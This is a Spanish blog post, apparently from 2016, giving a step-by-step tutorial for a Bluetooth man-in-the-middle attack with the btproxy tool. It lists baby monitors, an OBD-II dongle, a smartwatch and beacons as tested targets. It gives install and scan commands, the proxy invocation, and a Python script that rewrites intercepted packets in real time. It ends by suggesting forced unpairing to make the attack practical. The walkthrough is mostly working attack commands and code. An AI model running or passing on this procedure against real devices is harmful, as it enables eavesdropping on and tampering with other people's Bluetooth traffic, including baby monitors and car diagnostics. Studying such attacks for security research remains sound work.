viernes, 7 de octubre de 2016

MiTM en dispositivos Bluetooth con Btproxy [Hacking]



El ataque de "Hombre en el medio" o sus siglas en ingles MiTM es muy comun en dispositivos de red.
En esta entrada pretendemos explicar como se realiza este ataque en dispositivos Bluetooth, interceptando el trafico entre nuestra terminal y uno de estos dispositivos utilizando un telefono celular como intermediario.


A sido probado en los siguientes dispositivos:

  • OBDLink OBD-II Bluetooth Dongle
  • Algunos Smart Baby Monitor
  • Moto 360 smart watch
  • Beacons

Requerimientos
  • Al menos una tarjeta de Bluetooth, externa o interna.
  • S.O Linux o OS X
  • BlueZ 4
  • Un celular con Blueetooth

Instalamos BlueZ 4 y otras librerías

sudo apt install bluez bluez-utils bluez-tools libbluetooth-dev python-dev

Instalamos btproxy

git clone https://github.com/conorpp/btproxy
cd btproxy
sudo python setup.py install


Necesitamos que cada dispositivo este en modo visible 

Manos a la obra

En primer lugar debemos identificar las direcciones MAC de el dispositivo master que será nuestro telefono y el slave que sera el objetivo, esto lo hacemos así:

hcitool scan

Ejecutamos un el proxy para llevar acabo el MiTM entre los dos dispositivos:

btproxy <master-bt-mac-address> <slave-bt-mac-address>

Esto creara un dispositivo bluetooth virtual cuyo nombre finalizará con _btproxy en el dispositivo master nos conectamos a el, esto nos abre el socket de comunicación, para poder visualizar los paquetes.

Uso avanzado

Podemos modificar los paquetes en tiempo real pasando como parametro un script en python al btproxy:

reemplazar.py

def master_cb(req):

    req = req.replace(b'texto original', b'texto reemplazado')
    req = req.replace(b' otro texto original', b'otro texto reemplazado')


    print( '<< ', repr(req))
    return req

def slave_cb(res):
    print('>> ', repr(res))
    return res

Y esto lo ejecutamos así:

sudo btproxy 11:22:33:44:55:66 77:88:99:AA:BB:CC -s reemplazar.py

En conclusión

No es ideal para un ataque real, ya que necesitamos manipular los dispositivos y conectarnos al proxy nuevamente, a menos que forzemos el "unpair" de los dispositivos y esperar a que se conecten nuevamente pero en el proxy, esto podria hacerse teoricamente con un  Ubertooth pero es algo que no e comprobado aún.


0 comentarios :

Publicar un comentario

 
Design by Free WordPress Themes | Bloggerized by Lasantha - Premium Blogger Themes | Best Web Host